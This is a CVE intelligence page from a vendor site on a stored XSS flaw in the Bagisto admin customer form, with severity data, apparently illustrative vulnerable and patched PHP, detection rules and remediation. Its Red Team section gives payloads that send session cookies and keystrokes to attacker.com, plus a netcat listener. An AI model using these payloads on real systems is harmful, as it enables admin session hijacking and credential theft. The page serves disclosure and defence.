☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62414

CVE-2025-62414 Cross-Site Scripting in Bagisto
📅 PUBLISHED: 2025-10-16 18:33 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
7.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62414 is a stored Cross-Site Scripting (XSS) vulnerability in Bagisto v2.3.7, an open-source Laravel eCommerce platform. An attacker with admin panel access can inject malicious JavaScript payloads into the "Create New Customer" form fields. These payloads are stored and later executed in the context of an admin's browser or any user viewing the customer data, potentially leading to session theft or unauthorized admin-level actions. The vulnerability is fixed in version 2.3.8.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Bagisto is a PHP/Laravel package distributed via Composer. The vulnerability exists in the admin panel code, not in a third-party library. However, organizations using Bagisto should verify their Composer lock files to ensure they are not running the vulnerable version. The fix is included in the official Bagisto repository and can be applied by updating to version 2.3.8.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (admin panel access)
  • User Interaction: Required (admin must view the customer data)
  • Scope: Changed (impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin privileges, but the stored XSS can lead to session hijacking and privilege escalation within the admin context.

Deep Dive & Mechanics

The vulnerability resides in the admin "Create New Customer" feature. Input fields such as name, email, phone, and address are not properly sanitized before being stored in the database. When an admin or another user views the customer list or details, the stored payload is rendered in the browser without proper encoding, allowing JavaScript execution.

Attack Flow:

  1. Attacker gains admin access (e.g., via credential theft or insider threat).
  2. Attacker navigates to the "Create New Customer" form.
  3. Attacker injects a malicious payload into one of the input fields, e.g., <script>alert('XSS')</script>.
  4. The payload is stored in the database.
  5. When another admin views the customer list or details, the payload executes in their browser.
  6. The attacker can steal session cookies, perform actions on behalf of the victim, or deface the admin panel.

Root Cause: Lack of output encoding and input sanitization in the admin customer creation form.

Vulnerable vs. Patched Code

Vulnerable Code (v2.3.7):

// In Admin/CustomerController.php or similar
public function store(Request $request)
{
    $customer = new Customer();
    $customer->name = $request->input('name');
    $customer->email = $request->input('email');
    $customer->phone = $request->input('phone');
    $customer->save();
    // No sanitization or encoding
}

Patched Code (v2.3.8):

// In Admin/CustomerController.php or similar
public function store(Request $request)
{
    $validatedData = $request->validate([
        'name' => 'required|string|max:255',
        'email' => 'required|email|max:255',
        'phone' => 'nullable|string|max:20',
    ]);
    $customer = new Customer();
    $customer->name = htmlspecialchars($validatedData['name'], ENT_QUOTES, 'UTF-8');
    $customer->email = htmlspecialchars($validatedData['email'], ENT_QUOTES, 'UTF-8');
    $customer->phone = htmlspecialchars($validatedData['phone'] ?? '', ENT_QUOTES, 'UTF-8');
    $customer->save();
}

The patch uses htmlspecialchars() to encode HTML entities, preventing script execution. Additionally, input validation is enforced.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to Bagisto admin panel (e.g., http://target/admin)
  • Valid admin credentials

Exploit Steps:

  1. Log in to the admin panel.
  2. Navigate to Customers > Create New Customer.
  3. In the "Name" field, inject the following payload:
    <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Fill in other required fields (e.g., email) and submit the form.
  5. Wait for another admin to view the customer list or details.
  6. The victim's browser will send a request to the attacker's server with the session cookie.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog?key='+e.key);
}
</script>

Blue Team

Detection:

  • Monitor admin panel access logs for unusual customer creation patterns.
  • Look for requests containing <script> tags or other HTML/JavaScript in form fields.
  • Use WAF rules to block XSS payloads in admin forms.

Hunting:

  • Search database for stored XSS payloads in customer fields.
  • Review web server logs for requests to external domains from admin IPs.

Lab Setup:

  • Deploy a vulnerable Bagisto v2.3.7 instance using Docker:
    docker run -d -p 80:80 bagisto/bagisto:2.3.7
    
  • Set up a listener to capture cookies:
    nc -lvnp 80
    

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP requests to attacker-controlled domains from admin IPs.
    • Suspicious parameters in POST requests to /admin/customers/create containing <script> tags.
  • Host:
    • Database entries in customers table with HTML/JavaScript in name, email, or phone fields.
    • Web server logs showing POST /admin/customers with payloads.
  • File:
    • Modified or injected JavaScript in admin panel views (e.g., resources/views/admin/customers/index.blade.php).

Detection Engineering

YARA Rule

rule CVE_2025_62414_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Bagisto admin customer creation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62414"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Bagisto Admin XSS - Customer Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Bagisto admin customer creation requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin/customers/create'
        cs-request|contains: 
            - '<script'
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in customer names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62414 Bagisto Admin XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/admin/customers/create"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Upgrade Bagisto to version 2.3.8 or later.
  • If upgrade is not possible, apply input sanitization to all admin customer creation fields using htmlspecialchars() or a similar function.

Long-term:

  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use a Web Application Firewall (WAF) to block XSS attempts.
  • Conduct regular security audits of admin panel forms.
  • Enforce least privilege for admin accounts.

Workaround:

  • Disable the "Create New Customer" feature for non-essential admins.
  • Manually review all customer data for suspicious content.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62414/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.